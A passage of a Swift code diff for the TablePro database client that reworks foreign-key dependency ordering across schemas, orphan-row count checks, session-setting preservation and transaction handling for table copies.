+        // Exact: on a case-sensitive MySQL server `Shop` and `shop` are two databases.
+        internal func names(_ schema: String) -> Bool {
+            schema == name
+        }
+    }
+
+    internal static func referenceNamespace(of endpoint: DatabaseEndpoint) -> ReferenceNamespace {
+        ReferenceNamespace(
+            endpoint: endpoint,
+            supportsSchemas: PluginManager.shared.supportsSchemaSwitching(for: endpoint.databaseType),
+            supportsDatabases: PluginManager.shared.supportsDatabaseSwitching(for: endpoint.databaseType)
+        )
+    }
+
+    // A dropped table exists only on the target, so its keys are read there.
+    internal static func structureForeignKeys(
+        source: [String: TableStructureSnapshot],
+        in sourceNamespace: ReferenceNamespace,
+        target: [String: TableStructureSnapshot],
+        in targetNamespace: ReferenceNamespace
+    ) -> [String: [PluginForeignKeyInfo]] {
+        let targetOnly = target.filter { source[$0.key] == nil }
+        return foreignKeyMap(from: source, in: sourceNamespace)
+            .merging(foreignKeyMap(from: targetOnly, in: targetNamespace)) { sourceKeys, _ in sourceKeys }
+    }
+
     internal static func foreignKeyMap(
-        from snapshots: [String: TableStructureSnapshot]
+        from snapshots: [String: TableStructureSnapshot],
+        in namespace: ReferenceNamespace
     ) -> [String: [PluginForeignKeyInfo]] {
         var map: [String: [PluginForeignKeyInfo]] = [:]
         for snapshot in snapshots.values {
-            let dependencies = snapshot.foreignKeys.compactMap { foreignKey -> PluginForeignKeyInfo? in
-                guard let column = foreignKey.columns.first,
-                      let referencedColumn = foreignKey.referencedColumns.first else { return nil }
-                let referencedSchema = foreignKey.referencedSchema ?? snapshot.schema
-                /// The sort qualifies `referencedTable` with `referencedSchema` itself, so
-                /// pre-qualifying here produced `public.public.orders` and dropped every edge.
-                return PluginForeignKeyInfo(
-                    name: foreignKey.name,
-                    column: column,
-                    referencedTable: foreignKey.referencedTable,
-                    referencedColumn: referencedColumn,
-                    referencedSchema: referencedSchema
-                )
-            }
+            let dependencies = dependencies(of: snapshot, ownSchema: snapshot.schema, in: namespace)
             guard !dependencies.isEmpty else { continue }
             map[snapshot.qualifiedName] = dependencies
         }
         return map
     }
+
+    internal static func dependencies(
+        of snapshot: TableStructureSnapshot,
+        ownSchema: String?,
+        in namespace: ReferenceNamespace
+    ) -> [PluginForeignKeyInfo] {
+        snapshot.foreignKeys.compactMap { foreignKey -> PluginForeignKeyInfo? in
+            guard let column = foreignKey.columns.first,
+                  let referencedColumn = foreignKey.referencedColumns.first else { return nil }
+            var referencedSchema = foreignKey.referencedSchema ?? ownSchema
+            // The listing leaves that namespace off its tables, so a key into it points at the child's own schema.
+            if let named = referencedSchema, namespace.names(named) {
+                referencedSchema = ownSchema
+            }
+            // The sort qualifies `referencedTable` with `referencedSchema`; pre-qualifying gave `public.public.orders`.
+            return PluginForeignKeyInfo(
+                name: foreignKey.name,
+                column: column,
+                referencedTable: foreignKey.referencedTable,
+                referencedColumn: referencedColumn,
+                referencedSchema: referencedSchema
+            )
+        }
+    }
 }
diff --git a/apple/TablePro/Core/DataWrite/DataWriteExecutor.swift b/apple/TablePro/Core/DataWrite/DataWriteExecutor.swift
index c347256c19..d0bf6b9918 100644
--- a/apple/TablePro/Core/DataWrite/DataWriteExecutor.swift
+++ b/apple/TablePro/Core/DataWrite/DataWriteExecutor.swift
@@ -120,6 +120,13 @@ enum DataWriteExecutor {
         }
 
         var sideStatements: [String] = []
+        // An epilogue sets a fixed value, so the scope is what gives SQLite back the foreign_keys it had.
+        // Inside the user's transaction the pragma does nothing, and PostgreSQL would put a SET LOCAL value
+        // back session-wide, past the transaction: there the toggles run as they always did.
+        var preserved: PluginSessionScope?
+        if !plan.prologue.isEmpty, !(await driver.heldSessionTransactionState()).holdsUserTransaction {
+            preserved = await openPreservingScope(on: driver)
+        }
 
         func drainEpilogue() async {
             for statement in plan.epilogue {
@@ -132,6 +139,7 @@ enum DataWriteExecutor {
                     )
                 }
             }
+            await closePreservingScope(preserved, on: driver)
         }
 
         for statement in plan.prologue {
@@ -239,6 +247,25 @@ enum DataWriteExecutor {
         return DataWriteRun(results: results, sideStatements: sideStatements)
     }
 
+    private static func openPreservingScope(on driver: DatabaseDriver) async -> PluginSessionScope? {
+        do {
+            return try await driver.openSessionScope(for: .preserve)
+        } catch {
+            logger.warning("Save runs without saving the session settings: \(error.publicLogShape, privacy: .public)")
+            return nil
+        }
+    }
+
+    // Shielded like a rollback: a cancelled save still has to leave the session as it found it.
+    private static func closePreservingScope(_ scope: PluginSessionScope?, on driver: DatabaseDriver) async {
+        guard let scope else { return }
+        do {
+            try await TaskCancellationShield.run { try await driver.closeSessionScope(scope) }
+        } catch {
+            logger.error("Restoring the session settings after the save failed: \(error.publicLogShape, privacy: .public)")
+        }
+    }
+
     private static func rowsFound(
         by lookup: RowLookup,
         for step: DataWriteStep,
diff --git a/apple/TablePro/Core/ObjectCopy/ObjectCopyPlan.swift b/apple/TablePro/Core/ObjectCopy/ObjectCopyPlan.swift
index 926323d086..0d1be56987 100644
--- a/apple/TablePro/Core/ObjectCopy/ObjectCopyPlan.swift
+++ b/apple/TablePro/Core/ObjectCopy/ObjectCopyPlan.swift
@@ -62,6 +62,12 @@ internal struct ObjectCopyTableStep: Identifiable, Sendable {
     /// Set when this table is in the plan but part of it cannot run, so the sheet can say why
     /// before the user presses Copy.
     internal let note: String?
+    /// One count per foreign key this table is created with. Nil when a key cannot be checked,
+    /// which keeps the target's checks on for the rows.
+    internal let keyChecks: [ObjectCopyKeyCheck]?
+    /// False when the target keeps this table's rows through a ROLLBACK, so a rolled back run still
+    /// reports them.
+    internal let rollsBack: Bool
 
     /// Spelled out rather than left to the memberwise init so the three fields a same-engine copy
     /// never sets can default. Every one of them describes something only a crossing or a
@@ -84,8 +90,12 @@ internal struct ObjectCopyTableStep: Identifiable, Sendable {
         coercer: CrossEngineValueCoercer? = nil,
         serverSideInsert: SyncStatement? = nil,
         hasRowFilter: Bool = false,
-        note: String?
+        note: String?,
+        keyChecks: [ObjectCopyKeyCheck]? = [],
+        rollsBack: Bool = true
     ) {
+        self.keyChecks = keyChecks
+        self.rollsBack = rollsBack
         self.selection = selection
         self.dropStatements = dropStatements
         self.sequenceStatements = sequenceStatements
@@ -208,6 +218,22 @@ internal struct ObjectCopyPartialNote: Identifiable, Sendable {
     internal var id: String { selection.id }
 }
 
+/// Counts the rows of a table that point at nothing through one foreign key.
+internal struct ObjectCopyKeyCheck: Sendable, Equatable {
+    internal let constraint: String
+    internal let sql: String
+}
+
+/// Whether the copy's foreign keys point only at tables it writes, which is when the target's checks
+/// may be off: turning them back on checks nothing already written.
+internal struct ObjectCopyKeysInside: Sendable, Equatable {
+    /// Every key of a table the copy creates names a table in the copy.
+    internal var created = false
+    /// Every table that gets rows is one the copy creates, so the target holds the source's keys
+    /// and no others, and each names a table that gets all of its rows.
+    internal var rows = false
+}
+
 internal struct ObjectCopyPlan: Sendable {
     internal let request: ObjectCopyRequest
     internal let createsDatabase: Bool
@@ -225,6 +251,7 @@ internal struct ObjectCopyPlan: Sendable {
     /// so the run may write that DDL under the target's write scope. A definition read as the
     /// session is runs as the session is, the way it did before scopes.
     internal let isStructureReadPinned: Bool
+    internal let keysInside: ObjectCopyKeysInside
     /// The target session's execution grammar, which the review script is written in.
     internal let targetGrammar: SQLLexicalGrammar
 
@@ -236,6 +263,7 @@ internal struct ObjectCopyPlan: Sendable {
         schemaStatements: [SyncStatement] = [],
         skipped: [ObjectCopySkip] = [],
         isStructureReadPinned: Bool = false,
+        keysInside: ObjectCopyKeysInside = ObjectCopyKeysInside(),
         targetGrammar: SQLLexicalGrammar? = nil
     ) {
         self.request = request
@@ -245,6 +273,7 @@ internal struct ObjectCopyPlan: Sendable {
         self.schemaStatements = schemaStatements
         self.skipped = skipped
         self.isStructureReadPinned = isStructureReadPinned
+        self.keysInside = keysInside
         self.targetGrammar = targetGrammar ?? request.target.databaseType.lexicalGrammar
     }
 
@@ -357,9 +386,14 @@ internal struct ObjectCopyPlan: Sendable {
     /// A run that promises nothing keeps them in a phase of their own, where one table's failure
     /// does not reach the tables already copied.
     internal var clearsInsideDataTransaction: Bool {
-        !clearGroups.isEmpty
-            && request.wrapEachTableInTransaction
-            && request.errorHandling != .skipAndContinue
+        !clearGroups.isEmpty && dataRunsInOneTransaction
+    }
+
+    /// Stop and roll back promises the target ends as it was, so the clears and every table's rows
+    /// are one transaction. The other two keep what ran, and PostgreSQL commits an aborted
+    /// transaction as a ROLLBACK, so their batches commit as they go.
+    internal var dataRunsInOneTransaction: Bool {
+        request.wrapEachTableInTransaction && request.errorHandling == .stopAndRollback
     }
 
     /// The definitions held back until the rows are in: a trigger fires on the copy itself, and a
diff --git a/apple/TablePro/Core/ObjectCopy/ObjectCopyPlanner+SourceDefinitions.swift b/apple/TablePro/Core/ObjectCopy/ObjectCopyPlanner+SourceDefinitions.swift
index 2a6879073b..7e7b11a27c 100644
--- a/apple/TablePro/Core/ObjectCopy/ObjectCopyPlanner+SourceDefinitions.swift
+++ b/apple/TablePro/Core/ObjectCopy/ObjectCopyPlanner+SourceDefinitions.swift
@@ -152,12 +152,12 @@ internal extension ObjectCopyPlanner {
         let wanted = Set(names.map { $0.lowercased() })
         let scopes = await VerbatimTransferScopes.open(reading: SessionScopeHandle(plugin))
         do {
-            let tables = try await plugin.fetchTables(schema: schema).filter { wanted.contains($0.name.lowercased()) }
+            let listed = try await plugin.fetchTables(schema: schema)
             let reads = try await CompareMetadataService.read(
-                tables: tables,
+                tables: listed.filter { wanted.contains($0.name.lowercased()) },
                 schema: schema,
                 profile: .structure,
-                narrowed: true,
+                narrowed: CompareMetadataService.narrows(listed, to: wanted),
                 databaseType: databaseType,
                 indexedKinds: SourceObjectIndexes.carriedKinds(on: databaseType),
                 using: plugin
diff --git a/apple/TablePro/Core/ObjectCopy/ObjectCopyPlanner.swift b/apple/TablePro/Core/ObjectCopy/ObjectCopyPlanner.swift
index 375a845484..ad8c0235c4 100644
--- a/apple/TablePro/Core/ObjectCopy/ObjectCopyPlanner.swift
+++ b/apple/TablePro/Core/ObjectCopy/ObjectCopyPlanner.swift
@@ -42,8 +42,8 @@ internal struct ObjectCopyPlanner {
         try refuseUpFront(request)
 
         /// One pass per source namespace. A database-level copy on PostgreSQL spans every schema,
-        /// and each schema's tables have to be read, ordered and written in their own scope: one
-        /// read against a nil schema answers only whatever the connection is currently on.
+        /// and each schema's tables have to be read and written in their own scope: one read
+        /// against a nil schema answers only whatever the connection is currently on.
         var skipped: [ObjectCopySkip] = []
         var tableSteps: [ObjectCopyTableStep] = []
         var definitionSteps: [ObjectCopyDefinitionStep] = []
@@ -99,6 +99,7 @@ internal struct ObjectCopyPlanner {
             passes.append(ScopePass(
                 scope: scope,
                 sourceEndpoint: sourceEndpoint,
+                sourceNamespace: ObjectCopyNamespace.name(for: sourceEndpoint),
                 targetEndpoint: targetEndpoint,
                 sourceReads: sourceReads,
                 targetObjects: targetObjects,
@@ -106,6 +107,20 @@ internal struct ObjectCopyPlanner {
                 skipped: tableSkips
             ))
         }
+        let parentsFirst = Self.orderAcrossScopes(&passes)
+        let drafts = passes.flatMap(\.drafts)
+        var keysInside = Self.keysInside(
+            passes.map { (namespace: $0.sourceNamespace, tables: $0.drafts.map(\.selection)) },
+            reads: Dictionary(drafts.map { ($0.selection, $0.read) }, uniquingKeysWith: { first, _ in first }),
+            created: Set(drafts.filter(\.writesStructure).map(\.selection)),
+            rows: Dictionary(
+                drafts.filter(\.copiesData).map { draft in
+                    let scope = draft.rowScope
+                    return (draft.selection, !VerbatimTransferScopes.filtersRows(scope) && scope?.rowLimit == nil)
+                },
+                uniquingKeysWith: { first, _ in first }
+            )
+        )
 
         /// Every source scope of a copy to a chosen target lands in the one schema that was chosen,
         /// so the names its indexes take are allocated across scopes, not afresh for each.
@@ -144,6 +159,8 @@ internal struct ObjectCopyPlanner {
                 skipped: &skipped
             )
         }
+        tableSteps.sort { parentsFirst($0.selection, $1.selection) }
+        keysInside.rows = keysInside.rows && tableSteps.filter(\.copiesData).allSatisfy { $0.keyChecks != nil }
 
         return ObjectCopyPlan(
             request: request,
@@ -153,12 +170,41 @@ internal struct ObjectCopyPlanner {
             schemaStatements: try await buildSchemaStatements(request, namespaces: targetNamespaces),
             skipped: skipped,
             isStructureReadPinned: isStructureReadPinned,
+            keysInside: keysInside,
             targetGrammar: SQLLexicalResolver.executionGrammar(
                 for: request.target.databaseType, connectionId: request.target.connectionId
             )
         )
     }
 
+    /// Settles one dependency order over every scope's tables and puts each pass's drafts in it.
+    ///
+    /// Sorted one scope at a time, a PostgreSQL database with `app.orders` referencing `core.users`
+    /// created `orders` first, because `app` was the first scope. The drafts are reordered before
+    /// any step is built, because a sequence several tables share is created under the first.
+    private static func orderAcrossScopes(
+        _ passes: inout [ScopePass]
+    ) -> (ObjectCopySelection, ObjectCopySelection) -> Bool {
+        var reads: [ObjectCopySelection: TableStructureRead] = [:]
+        for draft in passes.flatMap(\.drafts) {
+            reads[draft.selection] = draft.read
+        }
+        let ordered = orderedByDependency(
+            passes.map { (namespace: $0.sourceNamespace, tables: $0.drafts.map(\.selection)) },
+            reads: reads
+        )
+        let rank = Dictionary(
+            ordered.enumerated().map { ($0.element, $0.offset) }, uniquingKeysWith: { first, _ in first }
+        )
+        let parentsFirst = { (lhs: ObjectCopySelection, rhs: ObjectCopySelection) in
+            (rank[lhs] ?? .max) < (rank[rhs] ?? .max)
+        }
+        for index in passes.indices {
+            passes[index].drafts.sort { parentsFirst($0.selection, $1.selection) }
+        }
+        return parentsFirst
+    }
+
     private func sourceTableReads(
         _ request: ObjectCopyRequest,
         endpoint: DatabaseEndpoint,
@@ -239,10 +285,14 @@ internal struct ObjectCopyPlanner {
     private struct ScopePass {
         let scope: Scope
         let sourceEndpoint: DatabaseEndpoint
+        /// The engine's own namespace, not the endpoint's schema. MySQL reports no schema on a
+        /// table while its foreign keys carry the database name, so ordering by the schema alone
+        /// matched no edge and fell through to alphabetical order.
+        let sourceNamespace: String?
         let targetEndpoint: DatabaseEndpoint
         let sourceReads: [TableStructureRead]
         let targetObjects: [String: ObjectCopySelection]
-        let drafts: [ObjectCopyTableDraft]
+        var drafts: [ObjectCopyTableDraft]
         let skipped: [ObjectCopySkip]
     }
 
@@ -422,20 +472,13 @@ internal struct ObjectCopyPlanner {
         }
         guard !reads.isEmpty else { return [] }
 
-        /// The engine's own namespace, not the endpoint's schema. MySQL reports no schema on a
-        /// table while its foreign keys carry the database name, so ordering by the schema alone
-        /// matched no edge and fell through to alphabetical order.
-        let sourceNamespace = ObjectCopyNamespace.name(for: sourceEndpoint)
-        /// Seeded from the user's own order, not from `reads.keys`. Swift seeds Dictionary hashing
-        /// per process, so taking the keys gave the tables with no foreign key between them a
-        /// different tie-break on every launch: the approved script, the progress order and the
-        /// outcome list were all shuffled differently for the same copy.
+        /// In the user's own order, not `reads.keys`: Swift seeds Dictionary hashing per process, so
+        /// the tie-break between unrelated tables changed on every launch and shuffled the approved
+        /// script. `orderAcrossScopes` sorts them once every scope is read.
         var drafts: [ObjectCopyTableDraft] = []
         let targetServerVersion = manager.driver(for: request.target.connectionId)?.serverVersion
-        for selection in Self.orderedByDependency(
-            scope.objects.filter { reads[$0] != nil }, reads: reads, effectiveSchema: sourceNamespace
-        ) {
-            guard let read = reads[selection], let snapshot = read.sourceSnapshot else { continue }
+        for selection in scope.objects {
+            guard let read = reads.removeValue(forKey: selection), let snapshot = read.sourceSnapshot else { continue }
             let targetRead = match(selection, in: targetReads)
             let existsInTarget = targetRead != nil
             if existsInTarget, request.existingPolicy == .skip {
@@ -510,7 +553,9 @@ internal struct ObjectCopyPlanner {
                 coercer: draft.coercer,
                 serverSideInsert: draft.copiesData ? serverSide[draft.selection.id] : nil,
                 hasRowFilter: VerbatimTransferScopes.filtersRows(draft.rowScope),
-                note: draft.note
+                note: draft.note,
+                keyChecks: statements.keyChecks,
+                rollsBack: draft.rollsBack
             )
         }
     }
@@ -749,6 +794,9 @@ internal struct ObjectCopyPlanner {
                     ddl.create = try builder.build(
                         operations: [.createTable(input.snapshot)], foreignKeysByTable: [:]
                     )
+                    ddl.keyChecks = Self.keyChecks(
+                        for: input.snapshot, schema: input.targetSchema, driver: plugin, databaseType: driver.connection.type
+                    )
                 }
                 if input.emptiesFirst {
                     ddl.truncate = Self.emptyStatements(
@@ -832,6 +880,36 @@ internal struct ObjectCopyPlanner {
         )
     }
 
+    /// Turning the target's checks back on checks nothing already written, so a copy that wrote
+    /// with them off counts what each key would have refused before it commits. Nil when a key's
+    /// columns do not pair up, since that one could not be checked.
+    nonisolated static func keyChecks(
+        for snapshot: TableStructureSnapshot,
+        schema: String?,
+        driver: any PluginDatabaseDriver,
+        databaseType: DatabaseType
+    ) -> [ObjectCopyKeyCheck]? {
+        let quote = driver.quoteIdentifier
+        let child = SchemaQualifiedName.render(name: snapshot.name, schema: schema, databaseType: databaseType, quote: quote)
+        var checks: [ObjectCopyKeyCheck] = []
+        for key in snapshot.foreignKeys {
+            guard !key.columns.isEmpty, key.columns.count == key.referencedColumns.count else { return nil }
+            let parent = SchemaQualifiedName.render(
+                name: key.referencedTable, schema: key.referencedSchema ?? schema, databaseType: databaseType, quote: quote
+            )
+            // A key with any column NULL holds nothing, the way MATCH SIMPLE reads it.
+            let present = key.columns.map { "c.\(quote($0)) IS NOT NULL" }.joined(separator: " AND ")
+            let matches = zip(key.columns, key.referencedColumns)
+                .map { "p.\(quote($1)) = c.\(quote($0))" }
+                .joined(separator: " AND ")
+            checks.append(ObjectCopyKeyCheck(
+                constraint: key.name,
+                sql: "SELECT COUNT(*) FROM \(child) c WHERE \(present) AND NOT EXISTS (SELECT 1 FROM \(parent) p WHERE \(matches))"
+            ))
+        }
+        return checks
+    }
+
     /// What empties a table before its rows are written.
     ///
     /// DELETE whenever the run promises to roll the table back. TRUNCATE commits implicitly on the
@@ -1066,28 +1144,31 @@ internal struct ObjectCopyPlanner {
     /// Parents before children, so a foreign key in a `CREATE TABLE` finds the table it points at.
     /// A cycle keeps whatever order the sort settles on and fails at the server, which is the same
     /// answer Compare & Sync gives it.
-    /// `effectiveSchema` is the scope the tables were read in, and it is load-bearing.
+    ///
+    /// Every scope goes into one sort, because a key may point into another scope's table. Each
+    /// scope's `namespace` is the one its tables were read in, and it is load-bearing.
     /// `fetchTables` returns `PluginTableInfo.schema == nil` on MySQL and PostgreSQL while their
     /// foreign keys carry a non-nil `referencedSchema`, so nodes built from the table's own schema
     /// were keyed `child` while the dependency named `public.parent`. No edge ever matched, every
     /// table looked independent, and the sort fell through to alphabetical order: a child could be
     /// created before its parent and the server rejected it.
     nonisolated internal static func orderedByDependency(
-        _ selections: [ObjectCopySelection],
-        reads: [ObjectCopySelection: TableStructureRead],
-        effectiveSchema: String?
+        _ scopes: [(namespace: String?, tables: [ObjectCopySelection])],
+        reads: [ObjectCopySelection: TableStructureRead]
     ) -> [ObjectCopySelection] {
+        let selections = scopes.flatMap { $0.tables }
         guard selections.count > 1 else { return selections }
         var foreignKeysByTable: [String: [PluginForeignKeyInfo]] = [:]
         var nodes: [ForeignKeyTopologicalSort.Table] = []
         var bySortKey: [String: ObjectCopySelection] = [:]
-        for selection in selections {
-            guard let read = reads[selection] else { continue }
-            let schema = read.table.schema ?? selection.schema ?? effectiveSchema
-            let node = ForeignKeyTopologicalSort.Table(name: read.table.name, schema: schema)
-            nodes.append(node)
-            foreignKeysByTable[node.identifier] = read.foreignKeys
-            bySortKey[node.identifier] = selection
+        for scope in scopes {
+            for selection in scope.tables {
+                guard let read = reads[selection] else { continue }
+                let node = sortNode(selection, read: read, namespace: scope.namespace)
+                nodes.append(node)
+                foreignKeysByTable[node.identifier] = read.foreignKeys
+                bySortKey[node.identifier] = selection
+            }
         }
 
         var emitted: Set<String> = []
@@ -1108,6 +1189,51 @@ internal struct ObjectCopyPlanner {
         return result
     }
 
+    /// `created` holds each table whose structure the copy writes, and `rows` each table that gets
+    /// rows, true when it gets every one. Keys are read from the source, which is what the target
+    /// holds only for a table the copy creates: one it keeps may carry keys of its own.
+    nonisolated internal static func keysInside(
+        _ scopes: [(namespace: String?, tables: [ObjectCopySelection])],
+        reads: [ObjectCopySelection: TableStructureRead],
+        created: Set<ObjectCopySelection>,
+        rows: [ObjectCopySelection: Bool]
+    ) -> ObjectCopyKeysInside {
+        var nodes: [(selection: ObjectCopySelection, keys: [PluginForeignKeyInfo], node: ForeignKeyTopologicalSort.Table)] = []
+        for scope in scopes {
+            for selection in scope.tables {
+                guard let read = reads[selection] else { return ObjectCopyKeysInside() }
+                nodes.append((selection, read.foreignKeys, sortNode(selection, read: read, namespace: scope.namespace)))
+            }
+        }
+        func pointsWithin(
+            _ keys: [PluginForeignKeyInfo], from node: ForeignKeyTopologicalSort.Table, _ tables: Set<String>
+        ) -> Bool {
+            keys.allSatisfy { key in
+                tables.contains(ForeignKeyTopologicalSort.Table(
+                    name: key.referencedTable, schema: key.referencedSchema ?? node.schema
+                ).identifier)
+            }
+        }
+        let present = Set(nodes.map(\.node.identifier))
+        let filled = Set(nodes.filter { rows[$0.selection] == true }.map(\.node.identifier))
+        return ObjectCopyKeysInside(
+            created: nodes.filter { created.contains($0.selection) }.allSatisfy {
+                pointsWithin($0.keys, from: $0.node, present)
+            },
+            rows: nodes.filter { rows[$0.selection] != nil }.allSatisfy {
+                created.contains($0.selection) && pointsWithin($0.keys, from: $0.node, filled)
+            }
+        )
+    }
+
+    nonisolated private static func sortNode(
+        _ selection: ObjectCopySelection,
+        read: TableStructureRead,
+        namespace: String?
+    ) -> ForeignKeyTopologicalSort.Table {
+        ForeignKeyTopologicalSort.Table(name: read.table.name, schema: read.table.schema ?? selection.schema ?? namespace)
+    }
+
     /// A view selects from a table, a routine calls a view, and a trigger hangs off a table, so the
     /// kinds run in that order. Within a kind the user's own order is kept.
     nonisolated internal static func orderedByKind(_ selections: [ObjectCopySelection]) -> [ObjectCopySelection] {
diff --git a/apple/TablePro/Core/ObjectCopy/ObjectCopyRowCopier.swift b/apple/TablePro/Core/ObjectCopy/ObjectCopyRowCopier.swift
index 2277b22a2b..2ed4008ce1 100644
--- a/apple/TablePro/Core/ObjectCopy/ObjectCopyRowCopier.swift
+++ b/apple/TablePro/Core/ObjectCopy/ObjectCopyRowCopier.swift
@@ -38,9 +38,15 @@ internal struct ObjectCopyRowCopier: Sendable {
     internal struct Outcome: Sendable {
         internal let inserted: Int
         internal let cancelled: Bool
-        /// What is in the target whatever happens next. Zero where the caller holds a transaction
-        /// it can roll back, and every flushed batch where it does not.
-        internal var committed: Int = 0
+    }
+
+    /// A table that failed after some of its batches were written. Outside a transaction those stay
+    /// in the target, and a count that left them out would send a retry over them.
+    internal struct PartialFailure: LocalizedError {
+        internal let written: Int
+        internal let underlying: any Error
+
+        internal var errorDescription: String? { underlying.localizedDescription }
     }
 
     internal let step: ObjectCopyTableStep
@@ -92,29 +98,35 @@ internal struct ObjectCopyRowCopier: Sendable {
 
         var inserted = 0
 
-        while let element = try await stream.next() {
+        do {
+            while let element = try await stream.next() {
+                if Task.isCancelled { return Outcome(inserted: inserted, cancelled: true) }
+                guard case .rows(let rows) = element else { continue }
+                for row in rows {
+                    let values = try aligned(row)
+                    let rowBytes = budget.byteCount(of: values)
+                    guard let batch = filler.append(values, bytes: rowBytes) else { continue }
+                    inserted += try await write(batch, generator: generator, driver: targetDriver)
+                    onProgress(inserted)
+                    if Task.isCancelled { return Outcome(inserted: inserted, cancelled: true) }
+                }
+            }
+
+            /// Checked again here. Cancellation can reach an `AsyncThrowingStream` as an ordinary end
+            /// of stream, or land after its last element, and the loop then falls out with rows still
+            /// pending: writing them committed a batch the user had already stopped and reported the
+            /// table as copied.
             if Task.isCancelled { return Outcome(inserted: inserted, cancelled: true) }
-            guard case .rows(let rows) = element else { continue }
-            for row in rows {
-                let values = try aligned(row)
-                let rowBytes = budget.byteCount(of: values)
-                guard let batch = filler.append(values, bytes: rowBytes) else { continue }
+            if let batch = filler.take() {
                 inserted += try await write(batch, generator: generator, driver: targetDriver)
                 onProgress(inserted)
-                if Task.isCancelled { return Outcome(inserted: inserted, cancelled: true) }
             }
+            return Outcome(inserted: inserted, cancelled: Task.isCancelled)
+        } catch is CancellationError {
+            return Outcome(inserted: inserted, cancelled: true)
+        } catch where inserted > 0 {
+            throw PartialFailure(written: inserted, underlying: error)
         }
-
-        /// Checked again here. Cancellation can reach an `AsyncThrowingStream` as an ordinary end
-        /// of stream, or land after its last element, and the loop then falls out with rows still
-        /// pending: writing them committed a batch the user had already stopped and reported the
-        /// table as copied.
-        if Task.isCancelled { return Outcome(inserted: inserted, cancelled: true) }
-        if let batch = filler.take() {
-            inserted += try await write(batch, generator: generator, driver: targetDriver)
-            onProgress(inserted)
-        }
-        return Outcome(inserted: inserted, cancelled: Task.isCancelled)
     }
 
     // MARK: - Server side
@@ -139,9 +151,6 @@ internal struct ObjectCopyRowCopier: Sendable {
         /// worse-looking number; over-reporting one is a false claim about their data.
         let inserted = result.rowsAffected
         onProgress(inserted)
-        /// `committed` is left at zero, as the streamed path leaves it: whether these rows survive
-        /// is the caller's transaction to decide, and it is the caller that fills it in when there
-        /// is no transaction to roll back.
         return Outcome(inserted: inserted, cancelled: false)
     }
 
diff --git a/apple/TablePro/Core/ObjectCopy/ObjectCopyRunner.swift b/apple/TablePro/Core/ObjectCopy/ObjectCopyRunner.swift
index f9208a3a5b..7c758ee83d 100644
--- a/apple/TablePro/Core/ObjectCopy/ObjectCopyRunner.swift
+++ b/apple/TablePro/Core/ObjectCopy/ObjectCopyRunner.swift
@@ -165,11 +165,10 @@ internal struct ObjectCopyRunner {
         /// the table it points at and a trigger before the table that owns it. One parent-first
         /// pass had every DROP rejected by the constraint below it.
         ///
-        /// Both phases run under one `withMetadataDriver` call and, where the engine has them,
-        /// with foreign key checks off and a transaction around them. Split across two calls, a
-        /// Stop between them or a failing first CREATE left every later object dropped with
-        /// nothing put back.
-        if !plan.schemaStatements.isEmpty || !plan.cleanupGroups.isEmpty || !plan.creationGroups.isEmpty {
+        /// Both phases run under one `withMetadataDriver` call, in a transaction or with foreign
+        /// key checks off. Split across two calls, a Stop between them or a failing first CREATE
+        /// left every later object dropped with nothing put back.
+        if !(plan.schemaStatements + plan.cleanupStatements + plan.creationStatements).isEmpty {
             let result = try await runStructure(plan, request: request, progress: progress)
             outcomes += result.outcomes
             cancelled = cancelled || result.cancelled
@@ -185,16 +184,20 @@ internal struct ObjectCopyRunner {
         /// A run that promises a rollback empties them inside the data phase's own transaction
         /// instead, because a DELETE that has already committed cannot be taken back by anything
         /// that fails afterwards. Only a run that promises nothing clears here.
+        var uncleared: Set<String> = []
         if !cancelled, !plan.clearGroups.isEmpty, !plan.clearsInsideDataTransaction {
             let result = try await runDDL(plan.clearGroups, request: request, progress: progress)
-            outcomes += result.outcomes.filter { $0.error != nil }
+            let failures = result.outcomes.filter { $0.error != nil }
+            outcomes += failures
+            // A table that kept its own rows would get the source's on top of them.
+            uncleared = Set(failures.map(\.id))
             cancelled = cancelled || result.cancelled
             pendingInSessionTransaction = pendingInSessionTransaction || result.joinedSessionTransaction
             if result.stopped { return finished() }
         }
 
         if !cancelled, request.content.includesData {
-            let dataOutcomes = try await runData(plan, request: request, progress: progress)
+            let dataOutcomes = try await runData(plan, skipping: uncleared, request: request, progress: progress)
             outcomes += dataOutcomes.outcomes
             cancelled = cancelled || dataOutcomes.cancelled
             rowsCopied = dataOutcomes.rowsCopied
@@ -237,8 +240,8 @@ internal struct ObjectCopyRunner {
     ///
     /// A replacement is destructive only in the moment between its DROP and its CREATE, so the two
     /// have to be one unit as far as the engine can make them: a transaction where DDL is
-    /// transactional, and otherwise at least one connection lease with foreign key checks off so
-    /// the ordering cannot fail half way.
+    /// transactional and the run promises a rollback, and otherwise at least one connection lease
+    /// with foreign key checks off so the ordering cannot fail half way.
     private func runStructure(
         _ plan: ObjectCopyPlan,
         request: ObjectCopyRequest,
@@ -250,6 +253,11 @@ internal struct ObjectCopyRunner {
         let scope = request.target.scope
         let hasCleanup = !plan.cleanupGroups.isEmpty
         let schemaStatements = plan.schemaStatements
+        // A MySQL DROP refuses a table another references, and a CREATE a key to a table not there
+        // yet, which a cycle always has. Past a replacement, a key to a table outside the copy keeps
+        // the checks, so it still fails when that table is missing.
+        let dropsTables = plan.cleanupGroups.contains { !$0.statements.isEmpty }
+        let relaxesKeys = tableGroups.contains { !$0.statements.isEmpty } && (dropsTables || plan.keysInside.created)
         let pinsSession = plan.isStructureReadPinned && VerbatimTransferScopes.isSameEngine(
             source: request.source.databaseType, target: request.target.databaseType
         )
@@ -259,23 +267,30 @@ internal struct ObjectCopyRunner {
                 throw ObjectCopyError.refused(Self.noTargetDriver)
             }
             let owner = await Self.transactionOwner(of: driver)
-            let usesTransaction = hasCleanup && plugin.supportsTransactionalDDL && owner.opensTransaction
-            let relaxesForeignKeys = hasCleanup && !usesTransaction
+            // The other two settings keep what ran, and PostgreSQL commits an aborted transaction as a ROLLBACK.
+            let usesTransaction = hasCleanup && errorHandling == .stopAndRollback
+                && plugin.supportsTransactionalDDL && owner.opensTransaction
             if usesTransaction { try await plugin.beginTransaction(mode: .readWrite) }
-            if relaxesForeignKeys {
-                for statement in plugin.foreignKeyDisableStatements() ?? [] {
-                    _ = try? await plugin.execute(query: statement)
+
+            var result: DDLResult
+            do {
+                result = try await Self.withForeignKeysRelaxed(
+                    on: plugin, when: relaxesKeys && !usesTransaction && owner != .session
+                ) { _ in
+                    try await Self.executeTableDDL(
+                        schemaStatements: schemaStatements,
+                        groups: tableGroups,
+                        on: plugin,
+                        pinsSession: pinsSession,
+                        errorHandling: errorHandling,
+                        progress: progress
+                    )
                 }
+            } catch {
+                // The pool never ends a transaction, so the next lease would inherit an aborted one.
